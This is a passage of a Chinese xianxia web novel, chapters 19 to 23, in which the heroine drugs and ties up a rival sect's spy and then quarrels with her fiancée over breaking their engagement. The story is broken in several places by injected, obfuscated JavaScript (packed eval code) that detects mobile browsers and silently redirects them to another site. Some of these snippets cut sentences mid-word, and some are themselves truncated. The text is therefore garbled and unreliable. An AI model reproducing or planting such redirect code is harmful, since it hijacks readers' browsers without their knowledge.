片刻后,秦少阳过来了。 “少门主,师弟说你找我,是有什么事情吗?” “我有几样东西,想要师兄现在去帮我取一下。” “是什么?” “师兄稍等。”娄危雪转身回房,拿起毛笔把自己需要的东西全部写到了宣纸上,然后吹干墨迹,递给秦少阳。 秦少阳接过,当他看清上面娄危雪需要的几样东西时,顿时心生警惕。 “这些药单看对人身体无害,甚至有些是可以提神补气的好东西,但是如果放在一起使用,可以使人昏迷,你要这些,是想干什么?” “不干什么,只是最近在研究药理,所以想试一下效用。” 秦少阳看了眼守在门口的两名弟子,皱起眉毛。 “少门主你被关在房间里可能不清楚,宗主在院外已经布下结界,一旦你离开,宗主便会有感应,所以就算你把药用在他们的身上,侥幸逃出房间,也绝对不可能逃出院子。” 见秦少阳想歪,娄危雪摆手解释:“师兄你误会了,我不是要逃跑。” “当真?” “当真。”娄危雪猛点了下头,眼神坚定无比。 “如果师兄不相信,还可以和我签契,请天道见证。” 秦少阳做事严谨,当真同意娄危雪的要求。 娄危雪重新回到桌边,写下契约,递给秦少阳。 “师兄请看。” “嗯。” 确认契约内容没有问题,秦少阳划破手指签下自己的名字,娄危雪同样如此。 纸张在空中无声燃烧,契约已成。 如果娄危雪违背契约,把要秦少阳要的东西用在守门的弟子身上,便会受到天道的惩罚。 “这样师兄应该可以帮我把东西取来了吧。” 没有了后顾之忧,秦少阳答应下来。 “可以,你在房间等着。” “好,多谢师兄。” 娄危雪需要的东西并不难获得,不到半个时辰,秦少阳便把娄危雪需要的全部东西带了回来。 “你看看,有没有遗漏。” 秦少阳做事仔细,娄危雪仔细检查一遍,发现所有需要的东西都在这里。 她道谢,“师兄辛苦了。” “这不算什么,只要你别用这些东西,惹什么麻烦就好。” “不会,请师兄放心。” 娄危雪薄唇浅扬,她只是要用这些东西保护自己。 如果没人对她出手,那这些东西便不会有被用到的时候。 “嗯,如果没其他的事情,我走了。” “师兄慢走。” 秦少阳离开,娄危雪把秦少阳的东西收起。 这可是能够保住她的宝贝,得好好地想想要怎么放才好。 环视屋内,娄危雪很快便找到了存放的地方。 时间一分一秒流逝,夜晚到来。 已经是该给娄危雪送晚饭的时间,只不过玲溪很听花厌的话,没有离开房间,她甚至还熄灭了房间的烛火,伪装出一副人不在的样子。 与此同时,另有一个长相和玲溪一模一样的人出现在娄危雪的房前。 花厌推开门,走入房间,浅淡的熏香味萦绕在她的鼻尖。 她把带来的食盒放到桌子上,“少门主,吃饭了。” 娄危雪只看了一眼,便得出结论。 “你不是玲溪。” 花厌装傻,“少门主,你在说什么?我就是玲溪啊。” 娄危雪道出花厌的破绽,“玲溪不会只把食盒摆在上面,她会把里面的餐食一一取出。” 虽然知道玲溪不会出事,但是娄危雪还是忍不住询问:“你把玲溪怎么样了?” 被人道破身份后,花厌并没有半分慌乱,她顺着娄危雪的话,找了个借口。 “放心,我只不过是打晕她,借用了一下她的身份,并没有把她怎么样。” 娄危雪在桌边坐下,拎起茶壶倒了两杯茶水,一杯放到对面。 “来说说吧,你想干什么?” 她拿起自己的茶杯,手指不经意从茶杯杯沿擦过,喝下一口清茶。 花厌从容地在娄危雪对面坐下,拿着茶杯在手中把玩,不答反问:“你不好奇我是谁吗?” 娄危雪抬眸,“你会说吗?” “当然不会。”花厌将茶杯放下,并没有喝里面的茶水。 她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644170|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再和娄危雪绕圈子,说起正事。 “据说云霄门有一上品灵器——风云铃,可令天地变色,掌控风云,我要你帮我把这个东西取来。” 娄危雪笑了,“我是云霄门的少门主,你觉得我凭什么要帮你。” “就凭我知道你的秘密。”花厌并不恼火,反倒一副胸有成竹的模样。 “什么秘密?” 娄危雪姿态懒散,她捏着银针,挑动着桌上灯盏里的烛芯,看上去根本就没把花厌的话听进去。 花厌勾唇笑起,好整以暇地看着娄危雪,“你根本就不是娄青涯和云文君的女儿,你说如果我把这个消息告诉娄宗主,你这个少门主的位置还能保住吗?” 娄危雪当然很清楚自己不是,但是这并不妨碍她装啊! 她嗤笑一声,“笑话,你说不是就不是了?” “如果没有证据,我自然不会坐在这里。” “那就把证据拿出来,给我看看。” 花厌自然是有所准备,她从怀中拿出留影镜,抬手从镜面抹过,镜面晃动,一个妇人顿时出现在镜中,正是当年为云文君接生的稳婆。 镜子记录,云文君刚生完孩子身体虚弱,陷入沉睡,稳婆趁着这段时间,悄悄把云文君身边的孩子抱走,换来了另外一个,而这个孩子就是娄危雪。 画面结束,镜子上的光芒消失。 花厌将留影镜收回,抬眸勾唇,“如何?” 娄危雪面色未变,她随意地摆摆手,“不如何,看过了,你可以走了。” 这反应是花厌无论如何都没有预料到的,她刚勾起的一点笑容慢慢消失。 花厌眉头皱起,沉声道:“你难道不怕我把你身份曝光?” “你可以试试。” “我只给你一次机会,你可不要后悔。” “嗯,不后悔,你走吧。” 娄危雪又喝了口茶水,依旧是那副什么都不在意的样子。 花厌没有动,她试图在娄危雪脸上看出动摇的痕迹,可是却什么都没发现。 怎么会这样? “再不走,我可就让人来抓你了。” 花厌面色彻底黑下,她起身准备离开,不过才刚站起来,就感觉到了不对劲。 腿脚软的简直不像她自己的,她立刻运转灵力,可是经脉滞涩,竟是连法术都用不出来。 花厌看向那在桌上略显突兀的灯盏,猛然意识到了什么。 “你!” 她才刚开口一个字,可是之前的灵力运转叫药效发作更快,花厌眼前一黑,直接晕了过去。 娄危雪用自己杯子里的茶水把香炉里的香浇灭,又吹灭蜡烛。 她蹲下身,戳了戳倒在地上的人,花厌的身体被戳的晃动一下,但是人没有半点反应。 娄危雪把人翻过来,上下仔细地搜寻了一番,找出一块红木做的令牌,令牌底部刻着合欢树,和之前虞欢身上佩戴的那块一样。 这是合欢宗的令牌。 “小样,就你这样,还想威胁我?” 为了防止花厌醒了之后逃跑,娄危雪把人搬到房间连着的耳房,找出锁灵绳将人绑在里面。 接下来,就等花厌醒了。 20. 第 20 章 娄危雪搬了把椅子,坐在花厌面前。 随着时间,药物带来的作用逐渐流逝,花厌睁开双眼,便看到娄危雪那张扬眉带笑的脸。 “哟,你醒啦。” 花厌下意识运转心法袭击娄危雪,身上却传来束缚之感。 她低下头,看到身上缠绕结实的绳索,锁灵绳带来的作用,叫她施展不出任何法术。 “别挣扎了,没用的,我绑得可结实了。”娄危雪靠着椅背,神情好整以暇。 花厌迅速认清现状,“你想怎么样?” 娄危雪提出要求:“我要你把合欢散的解药给我。” 她从一开始就知道花厌的身份,如果不是为了合欢散的解药,她根本不会大费周折地把人迷晕绑起来。 花厌装傻,“合欢散的解药,你应该找合欢宗的人要。” “你不就是合欢宗的人吗?” “我不是。”花厌一口否认。 “那你看看这是什么。” 娄危雪对此早有预料,她掏出一块红色腰牌,正是从花厌身上搜到的那一块。 “这是我从你身上找到的,你还有什么要说的。” 花厌眼底闪过一丝懊恼,她怎么把这个东西给忘了。 不过身份已被发现,那就没了装下去的必要。 她虽被绑着,可娄危雪现在看上去并没有要杀她的想法,而且她有娄危雪需要的东西,不过娄危雪要合欢散的解药做什么? 花厌眼睛微眯,她来之前打听到,娄危雪逃出宗门在外面待了一段时间,最近才被秦少阳给带回来。 难道是她在外面的这段时间,发生了什么事情吗? “你中了合欢散?” 娄危雪心中咯噔一声,但面上却不露声色。 “这个你不需要知道,你只管把解药交给我就好。” 避而不答。 看来就算娄危雪没中合欢散,那中了合欢散的人和娄危雪也有关系。 花厌心中有底,没了刚清醒时的紧迫。 “你既然已经搜过,那就该知道,我身上没有你要的解药。” 娄危雪沉默,她确实没有在花厌身上搜索到任何关于药物的东西,不然也不会在这里和花厌费口舌,早就已经把解药吃下了。 可是,这是她目前最有可能获得合欢散解药的机会。 娄危雪没有放弃,“你身上没有,但是我不相信你拿不到。” 笑话,这可是原书中的女主攻,不过是拿一个合欢散解药而已,对她根本就没有难度好不好。 而且谁知道花厌有没有把解药藏到别的地方,自己没找到,很可能是没找对地方而已。 果然,花厌点头,“我当然可以拿到。” “不过……” 娄危雪挑眉,“不过?” 花厌眼神幽深如潭,薄唇勾起一道邪肆的浅笑,“想让我拿解药给你,你就要答应我的条件。” 天下没有免费的午餐,更何况她现在面对的这个人还是花厌。 娄危雪沉下眼眸,“什么条件。” “解开我身上的锁灵绳,放我离开,我去给你拿解药。” “那不行,谁知道我放走你之后,你还会不会回来给我送解药。” 娄危雪一口否决,她现在被关禁闭,门都出不去,这要是被骗了,找人算账都找不到。 花厌有恃无恐,“如果你不放我走,你也拿不到解药。” 眼看谈不拢,娄危雪一把掐住花厌的脖子,故意压低声音,威胁道:“你信不信,我杀了你。” 花厌仰着脖颈,眼底没有丝毫俱意。 “你就算杀了我,我身上也没有解药,而且如果你杀了我,这解药你就更别想拿到了。” 娄危雪薄唇紧抿,手指一点点缩紧,花厌呼吸不畅,眼底漫起血丝,她的脸色慢慢涨红,又逐渐转为青紫。 眼看着人就要因为窒息死亡,娄危雪松开手。 看来花厌身上真的没有藏解药。 空气涌入花厌的肺腑之中,她大口呼吸着,呛咳好几声,好一会才平复下来。 她嗓音沙哑,笑得诡异,“想拿解药,就放我离开,如果你不放心,可以亲自跟我去拿。” “不可能,我现在根本就出不去。” “这就是你要考虑的问题了。” 花厌说完这句话,便闭上眼睛,不愿继续与娄危雪交谈。 娄危雪眉头皱起,转身离开耳房。 夜色已深,娄危雪洗漱后在床上躺下,她得想想办法,把身上合欢散的事情解决了才行。 因为心中记挂着解药的事情,娄危雪在床上翻来覆去地睡不安稳,直到天色将亮时才沉沉睡去。 第二天一早,娄危雪走入耳房,和花厌再次进行一番商讨。 可两人谁都不愿退让,娄危雪最后无功而返。 现在最好的办法就是把她身中合欢散的事情和娄青涯说,将花厌交给娄青涯。 她现在的身份是娄青涯的女儿,如果娄青涯知道她中了合欢散,定然不会坐视不理,肯定会想办法从花厌身上套出合欢散解药的事情。 可是花厌知道她的身份,极有可能把玲溪才是娄青涯和云文君女儿的事情,告诉娄青涯。 若是这样,岂不是就是按照原书的剧情走,花厌计谋得逞,两人身份提前曝光,她恐怕也难逃一劫。 娄危雪烦躁地揉着脑袋,到底要怎么做才行。 这该死的剧情! 要不她主动带着花厌去找娄青涯和云文君夫妻俩坦白?或许娄青涯会看在她主动坦白的事上,放她一马? 娄危雪撑着下巴,望着窗外思索这么做的可能性,却突然发现一直笼罩在上方的结界突然散了。 嗯?这是怎么回事? 在她怔愣间,有弟子走入院中。 那弟子拿出娄青涯的手令,“宗主有令,今日起,解除少门主的禁足,你们不必守在这里了。” “是。” 看守房门的两名弟子确认了手令的真实性后,便从娄危雪房门前离开。 娄危雪惊喜不已,“我可以出来了?” “当然。” 娄危雪已经被关在房间里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他正准备交代几句,却见娄危雪大喜。 “那就退!” 退婚好啊!退了婚她是不是就不用被万剑凌迟了! 娄青涯将手往桌上一拍,大声怒斥:“胡闹!” “沈清鸿乃是天一宗的新任宗主,你如果和她成婚,我们云霄门的实力将会更上一层!” “总之,这门婚事不能退,等下她过来,你好好表现,一定要挽回这桩亲事。” 娄危雪深感不妙,看她爹这反应,是绝对不可能让她退婚的。 这可不行! 娄危雪扑通一声跪下,“爹,我……” 就在这时,一个弟子走入门内,打断娄危雪的话。 “宗主,天一宗的人到了。” 弟子话音刚落,几个仙风道骨的人,走入门内。 娄危雪还保持着跪着的姿势,没来得及起来,正想起身,身后突然传来一道熟悉的声音。 “九寒?” 娄危雪身体瞬间僵了,她转过头,多日没有见到的人,就那么出现在她的面前。 不是沈清鸿,又是谁。 21. 第 21 章 两人四目相对,除了震惊就是尴尬,尤其是娄危雪现在还跪着。 她撑着膝盖,尴尬起身,“清鸿仙尊,哈哈...好久不见啊。” 沈清鸿一向冷淡的脸色难得出现了错愕,难以置信的看着她:“你是云霄门的少门主,娄危雪?” “咳,”娄危雪摸摸鼻子,瞥了眼站在旁边的娄青涯,回答道:“是我,娄九寒是我的小名。” 沈清鸿眉头皱起,原本面无表情的俏脸寒了几分。 她原本以为娄危雪不过是个普通散修,没想到竟然是云霄门的少门主,还是她的婚约对象。 两人无言,娄危雪更是被看得浑身不自在,脚趾抠地。 李寻真见沈清鸿一直盯着娄危雪看,眉梢微挑,两人这反应不像是第一次见面啊。 “清鸿,你们见过?” 沈清鸿微微颔首,如实回答:“师叔,先前我和你说我在外面受伤,被人救下,那个救我的人正是娄九寒。” “原来如此。” 李寻真想到自己那接连五道都没能把人催回来的传讯符,以及沈清鸿回来后连夜赶事务的样子,心中了然。 不过今日他们可是来退婚的,看这样子,这婚事能不能退,还不一定。 李寻真问道:“清鸿,既然你们认识,那今日这婚事,你还要退吗?” “我……” 沈清鸿悄悄握紧双手,目露犹豫。 娄青涯完全没想到,娄危雪逃出宗门的这些天,竟然在外救了沈清鸿。 他本就不想叫沈清鸿退婚,见沈清鸿拿不出主意,提议道:“李兄,这是两个年轻人的事,何不让她们单独聊聊,然后再决定要不要解除婚约。” “嗯。”李寻真点头,轻抚着长长的胡须,笑道:“如此也好。” 娄危雪头皮发麻,她真的一点都不想和沈清鸿单独相处,可他那个便宜爹对此毫无所觉,仍旧在说着。 “九寒,你带清鸿去宗门里转转。” 一边是自己爹,一边是天一宗的长老,娄危雪哪里有说不的权利。 她伸手,“清鸿仙尊,请。” 两人离开议事大厅,沿着山路往下走着,一时无言。 还是沈清鸿先开了口,“当初我让你在小屋中等我,你为什么离开?” 娄危雪讪笑连连,“我……其实那天……嗯……” 她总不能说当初她离开,是因为沈清鸿以后会杀了她,所以吓得离开了吧。 娄危雪组织着语言,思考要怎么说。 沈清鸿睨了娄危雪一眼,嗓音冰冷,“不想答,可以不答,不用找借口敷衍我。” 沈清鸿都这么说了,娄危雪索性闭嘴。 两人又往山下走了一截路,沿途景色葱翠,偶尔还有飞鸟扑扇着翅膀从头顶飞过。 不少弟子已经起来,不大不小的议论声传入娄危雪耳中。 “诶,你们听说了吗?天一宗那位改修无情道的仙尊,今天来退婚了,而且还叫了宗门长老一起来。” “对对对,我也看到了,不过清鸿仙尊是修无情道的,为什么还会有婚约啊?” “我有个天一宗的朋友,她和我说清鸿仙尊是中途转修的无情道。” 转修无情道的这个事情,娄危雪倒是隐约记得。 沈清鸿的师尊被合欢宗主所杀,纵然沈清鸿天赋异禀,却因为执念太深迟迟无法突破,于是为了为了让自己快速变强,她忍受着洗髓伐骨的痛楚,转修无情道。 只花了三年的时间,沈清鸿就突破到达了化神境,与合欢宗的宗主达到了同一境界,虽然两个尚有一定差距,但如此年纪便突破化神境实乃不世的修炼天才,自然看不上娄危雪这种草包了。 那几个弟子显然没注意到娄危雪和沈清鸿,还在那里八卦,越来越多的传言,飘入娄危雪耳中。 议论的对象就在自己身边,娄危雪控制不住自己的眼睛,忍不住往沈清鸿那边瞥了几眼,多日不见沈清鸿还是那副样子,清清冷冷的,白袍乌发宛如天山雪,沾染不到任何尘埃。 难怪是修无情道的,看上去真是冷心冷情。 她正想着出神,猝不及防对上一双眼睛,沈清鸿不知道什么时候转过头。 两人视线于半空交会,娄危雪尴尬不已。 完啦!偷看被发现啦! 血色一点点上涌,娄危雪面颊发热,没注意沈清鸿眼底闪过的一丝笑意。 娄危雪硬着头皮找话,“那什么,清鸿仙尊,多日不见,你身体好些了吗?” 她记得走的时候,沈清鸿身体还没完全恢复,尚且还有些虚弱。 “已经没事了,吕师叔已经帮我看过了。” 天一宗的天材地宝有很多,沈清鸿又是宗门继承人,她回去之后就被宗门长老好好诊治了一番,没留下半点顽疾。 话匣子被打开,凝滞的空气缓缓流动起来。 沈清鸿有些在意娄危雪对她的称呼,“你我有婚约在身,你又是我的救命恩人,可以不用喊我清鸿仙尊。” “可你今日是来退婚的。” “是,我原本是来退婚的。” “那就退婚。” 娄危雪选择忽略原本这两个字,她的心脏还没有强大到在明知沈清鸿会杀死她后,还和沈清鸿在一起。 沈清鸿双眉拧在一起,“你说什么?” “我说退婚。” 娄危雪压下心中的异样,“当初我不知道清鸿仙尊的身份,受合欢散的影响,对清鸿仙尊做出那种事情,还请清鸿仙尊见谅。” 沈清鸿面有愠色,似乎正强忍着心中的怒火。 “你是这样想的?” 娄危雪狠心说道:“是,当初的事是个错误。” 弟子们先前的议论回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678619|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响在娄危雪耳边,她不觉得自己能够改变沈清鸿。 自穿书以来,她已经努力逃开原书的剧情线,可目前看来并未有什么成效。 没人能在知道自己会死的时候,无动于衷,她还是想努力摆脱必死的结局。 既然自己在未来会死在沈清鸿的手上,那倒不如离沈清鸿的远远的,把婚退了,断个干净,说不定还有活下来的可能。 沈清鸿眸子瞬间冷了下去,越来越冷,清冷如月的眼眸中闪烁着冰冷的亮光。 小屋中的点滴日常浮现在沈清鸿脑海中,想到娄危雪当初对她做的事情,沈清鸿怒火更盛。 “难道你当初做的那些,都是在戏耍我吗!” “我绝对不敢戏耍仙尊,实在是当时受合欢散影响,迫不得已。” 这宛如借口般的解释,沈清鸿听在耳中,只觉异常刺耳。 她冷哼一声,一气之下,拂袖离去。 不过沈清鸿还没走出多远,迎面跑来一人,撞向沈清鸿。 眼看着那人就要摔倒,沈清鸿下意识伸手扶住了她。 “对不起!我太着急了,你没事吧。” 这声音有些熟悉,恰在这时,那人抬起头,这也叫沈清鸿看清了对方的长相。 “玲溪?” “清鸿仙尊。” 两人四目相对,皆是惊诧。 昨日花厌借了玲溪的身份办事,晚上玲溪等在房间中,却迟迟没见花厌回来。 因为担心花厌出事,玲溪一大早就去找了娄危雪,结果却被告知娄危雪被宗主叫去议事大厅。 她知道后匆匆赶往议事大厅,结果因为太着急不小心撞到沈清鸿。 说来自从上次与沈清鸿分别之后,玲溪已经许久没再见过她。 她寒暄道:“清鸿仙尊,许久不见,仙尊过得怎样?” “我很好,不过你怎么会在这里?” 当初沈清鸿下山处理一件妖怪吃人的事情,不小心受伤,是玲溪路过,带她去看的大夫。 不过两人没有相处太久,沈清鸿身上的伤口好了之后,两人便各自道别分离。 玲溪答道:“与仙尊分别后,我听说云霄门正在选拔弟子,便过来参加,结果运气好被选中了,现在我已经是云霄门弟子中的一员了。” “恭喜你。” 沈清鸿微微一笑,关切询问:“你在这过得怎么样?可还适应?” “这里的生活同我之前没有什么不同,而且少门主对我很好。” “如此便好,不过如果有人欺负你,你也可以给我传信。” 此时,娄危雪已经走下山道,看见正在和玲溪说话的沈清鸿,心中警铃大作。 想到自己最后的悲惨结局,娄危雪面色复杂,心中划过一抹说不清道不明的情绪。 印象中沈清鸿可从来没有这么柔声细气地和她说过话。 22. 第 22 章 沈清鸿听到身后传来的步伐,知道是娄危雪过来了,可现在的她并不想和娄危雪多说。 “玲溪,我还有事要处理,暂且离开,我们来日再聚。” 玲溪自己也有事情,并未强留。 “好,清鸿仙尊慢走。” 沈清鸿朝山道下走去,两人擦肩错开。 没了沈清鸿在前方遮挡视线,玲溪看到站在后面的娄危雪。 她连忙往前走了几步,来到娄危雪面前。 “少门主,我终于找到你了。” 娄危雪将视线从沈清鸿的背影上收回,看向玲溪。 “怎么急匆匆的,是有什么事情吗?” 一见到娄危雪,玲溪担忧焦躁的心仿佛瞬间有了道口子,情绪宣泄而出。 “少门主,你昨晚有遇到什么特殊的人吗?” 娄危雪清楚玲溪的真实身份,她明知故问:“我是遇到了一个人,不过你怎么知道?” “我……” 玲溪眼神闪躲,心中慌乱,她咬了咬唇,强行让自己稳下心神。 她找了个借口,“我昨晚不知道被谁打晕,身上的腰牌也不见了,担心有人冒充我的身份,对少门主不利。” “原来如此。” 娄危雪眼神微暗,没有拆穿她这拙劣的谎言。她准备放玲溪一马,可这姑娘却傻乎乎的。 “少门主,那个人现在怎么样了?” 玲溪语气焦急,眼神中是掩饰不住的担忧。 娄危雪叹了口气,就玲溪这个性格,合欢宗怎么会选择把她送来做卧底。 她提醒道:“玲溪,你对那个人是不是太过于关心了?” 玲溪脸色瞬间苍白,眼神闪躲,根本就不敢去看娄危雪。 她低头抠着手指,一时之间竟然不知道要如何回答娄危雪的问题。 这反应一看就是心中有鬼,娄危雪有些看不下去,这如果还不拆穿玲溪,就说不过去了。 为了防止接下来的对话被听见,娄危雪挥手布下一道隔音结界。 “玲溪,你是合欢宗的人吧,昨晚那人之所以能拿到你的腰牌,就是你给她的吧?” 玲溪没想到娄危雪竟然一语道破了她的身份,她头脑发懵,面无血色,扑通一声直接跪下,连句辩解都没有。 “对不起,少门主是我骗了你。” 玲溪满脸愧疚,少门主对她这么好,可是她却选择把腰牌给了花厌,放任花厌对少门主做不好的事情。 “对不起,对不起。” 玲溪连连道歉,泪水很快充盈他的眼眶,顺着面颊滑落,一滴滴落在地上。 娄危雪无奈扶额,“我还没说什么呢,你倒是哭上了。” 她伸手去扶玲溪,“别跪着了,先起来吧。” 玲溪摇头,不愿起来,她哽咽道:“少门主,腰牌是我给她的,如果我没给她腰牌,她也不会冒充我的身份去见少门主,更不会对少门主不利。” “千错万错都是我的错,求少门主放了少主,惩罚我吧。” 娄危雪眉头皱起,有些恨铁不成钢。 她这段时间给玲溪讲了不少道理,合着全白讲了。 “威胁我的人不是你,你上赶着认什么错?” 她相信就算玲溪没有把腰牌给花厌,花厌也会想到别的办法,过来和她谈条件。 想到那个害得玲溪九死一生的渣攻,娄危雪心里一阵窝火。 知道剧情的她,忍不住出言劝说:“玲溪,那个人只是在利用你而已,你竟然还要替她求情。” 玲溪摇头,眼睛中含满泪水,为花厌辩解,“少门主,你不要这么说,一切都是我自愿的,少主从来没有利用过我。” 这句话无异于火上浇油,娄危雪更生气了。 “那个人明知道你是卧底,不能叫人发现身份,却还是选择借用你的身份来给我送饭。” “她如果真的在意你,又怎么会这么做?” “更何况她明明有更多的办法来接近我,却偏偏选择了最容易暴露你身份,但也是最容易接近我的这个办法。” “少主这么做一定有她的理由。” 玲溪并没有相信娄危雪的话,在合欢宗的那些年,她因为不愿意随便与人双修提升修为,在宗门备受排挤。 可少主不一样,少主在她被人欺负受伤的时候关心她,给她擦药,帮她处理伤口。 花厌是合欢宗的少主,实力强劲,许多人都想与少主双修,可是少主却选择了她,甚至还征求她的意见,并不强迫她。 所以在少主询问有谁愿意来云霄门做卧底的时候,她主动出声。 她想帮助少主,成为对少主有用的人。 一切都是她的自愿,她相信少主。 “少门主,求求你放了少主,我愿意代替少主接受惩罚。” 娄危雪被气得胸口疼,可是看玲溪这样子,一时半会的也讲不通。 这里又在山道上,偶尔会有弟子路过,玲溪跪在地上哭成这个样子叫人这么看了去不好。 “这件事情我只当没发生过,我也不会揭穿你的身份。” 玲溪眨了眨朦胧的泪眼,“那少主……” 娄危雪黑着脸,“你先站起来,我再告诉你。” 玲溪闻言连忙站起身,眼巴巴地看着娄危雪,等待娄危雪的回答。 娄危雪见她这样,没好气地翻了个白眼,“你说的那个什么鬼少主被我绑起来了,我不会杀她,但是我暂时不能放了她。” 玲溪感激不已,还想再问:“那少主现在……” 娄危雪瞪了玲溪一眼,警告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702259|143258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“不要得寸进尺。” 玲溪闭嘴没有说话,眼下能够保住少主的性命就好,剩下的她会再想办法。 而且少门主心地这般善良,肯定不会随便杀人的,她说不定有机会,能够劝说少门主放了少主。 摆脱了玲溪后,娄危雪在外面又走了几圈,等她重新回到议事大厅的时候,天一宗的人已经不在了,只有娄青涯还站在那里。 “你去哪了?” “我没去哪,就是在外面多转了几圈。” 娄青涯面色紧绷,“我让你和沈清鸿好好商量婚事,沈清鸿都已经回来了,你还在外面瞎转什么?” 娄危雪满脸无辜,“这不是被关得太久了,所以想好好透口气嘛。” “我不管你是不是真的想透气,但是之后必须给我老实呆在宗门里,听见没有?” 娄危雪看了眼娄青涯的脸色,暂时没有选择和娄青涯顶嘴。 “是,我知道了。” 看来一时半会的,她是别想离开宗门了。 娄青涯见她答应,面色和缓一些:“仙门大比将近,这期间你多和沈清鸿接触接触,培养培养感情。” “到时候仙门大比结束,趁着所有人都在,我会为你和沈清鸿举办婚事。” “什么?” 娄危雪猛然提高音量,当时看沈清鸿那生气离开的样子,她本以为退婚已成定局,这中间难道是又出了什么差错? “清鸿仙尊不是已经过来退婚了吗?” 娄青涯皱眉,“你们刚刚在外面聊了那么久,沈清鸿难道没和你说她不退婚了吗?” 娄危雪满脸震惊,她都已经把话说到那个份上了,沈清鸿为什么还要和她成婚? 娄危雪完全不懂沈清鸿是怎么想的,不行,她要去找沈清鸿问个清楚。 “爹,我有事情要和清鸿仙尊商量,她现在在哪里?” “天一宗的人现在都住在云水苑,你可以去那里找她。” “不过我可警告你,在沈清鸿面前要好好表现,不该说的话不要说。” “我知道了。” 随便应付一句之后,娄危雪转身匆匆去找了沈清鸿。 于此同时,李寻真房间中。 李寻真询问道:“清鸿,你为何突然改变主意不退婚了?” 沈清鸿面容沉静,开口解释:“娄危雪是云文君的女儿,可是退婚这么重要的事情,她却没有出现,这其中必有蹊跷。” “仙门大比就在眼前,我们不如先暂时稳住对方在这里住下,然后私底下找机会探查一番。” 李寻真挑眉,这分析的头头是道,不过…… 回想沈清鸿在议事大厅和娄危雪见面时候的样子,李寻真笑问:“只是如此吗?” 沈清鸿微怔,缄默不语。 23. 第 23 章 前往云水苑的途中,娄危雪再次遇到玲溪。 玲溪忍不住跟在娄危雪身后,控制不住地询问:“少门主,少主她现在怎么样了?” “她被绑着,是不是还没有吃饭啊?” “会不会有别的人发现她,把她交给宗主啊?” 娄危雪本就因为与沈清鸿的亲事心烦,偏偏玲溪还在这里为了那个混账东西,叭叭地说个不停。 她一个头两个大,不耐烦地出声训斥。 “都跟你说了,不会杀她,总归是不会让她死。” “上赶着的不是买卖,别被人卖了还要数钱。” “你尚且不知道人家是否真心喜欢你,难道我平日里教你的就是这些东西吗?” 玲溪已经逐渐习惯娄危雪这段日子对她的好,现在听到娄危雪说重话,眼眶一下子就红了。 她垂着眼睛,手足无措,一副小可怜的模样。 “我……我只是太担心了。” 娄危雪看她这一副惨遭欺凌的样子,深感无奈。 她伸手搭上玲溪的肩头,正想劝说几句,身后传来一道熟悉的声音。 “你在对玲溪做什么?” 娄危雪本就因为婚约的事情心烦,再一听沈清鸿这质问般的语气,心中迅速升起一团无名之火。 “我做什么,和你有什么关系。” 沈清鸿瞥了眼,眼睛红彤彤的玲溪,走过去站在玲溪面前,隔开了玲溪与娄危雪的距离。 “玲溪也算我的救命恩人,你欺负她,我自然是要管的。” 娄危雪冷笑,这就把欺负人的名头扣她头上了。 玲溪真不愧是原书女主,什么话都没说,就可以让沈清鸿主动上来为她出头。 与之相比,她这个救命恩人看起来倒像是个笑话。 娄危雪胸口沉闷,她没有辩解,反而故意让沈清鸿加深了这个误会,反正都是要退婚的,越讨厌越好,她才不要和这个把她嘎了的人继续纠缠不清下去。 思及此,娄危雪故作跋扈道:“这里是云霄门,我是云霄门的少门主,我倒要看看,你想怎么管?” 沈清鸿面容冰冷,眼睛里闪烁着细碎的寒光。 “堂堂云霄门的少门主,竟这般仗势欺人?” “我就仗势欺人,怎么了?” 两人四目相对,无形的火花在空中炸裂,谁都不肯退让一步。 玲溪早就已经不哭了,眨巴着大眼睛,不解娄危雪为什么没有和沈清鸿解释。 眼看着两人就要吵起来,她连忙出声。 “清鸿仙尊,少门主没……” “你别说话。”娄危雪打断玲溪的解释。 玲溪为难,“可……” “闭嘴!” 接连两道的呵斥,让玲溪彻底闭嘴,不再出声。 娄危雪这专横的样子,叫沈清鸿皱起眉。 再次见面后的娄危雪和她的记忆中的相比,区别大得简直像是两个人。 “娄危雪!你怎的变得这般不讲道理!” 娄危雪高抬下巴,一副傲慢至极的样子。 “我本来就这样,这才是我的本来面目。”她故意挑衅:“怎么,看不惯我啊,那就和我退婚啊!” “你如果不退婚,可就要和我这样的人过一辈子喽。” 娄危雪本以为她这样说,会让沈清鸿厌恶她,从而与她退婚。 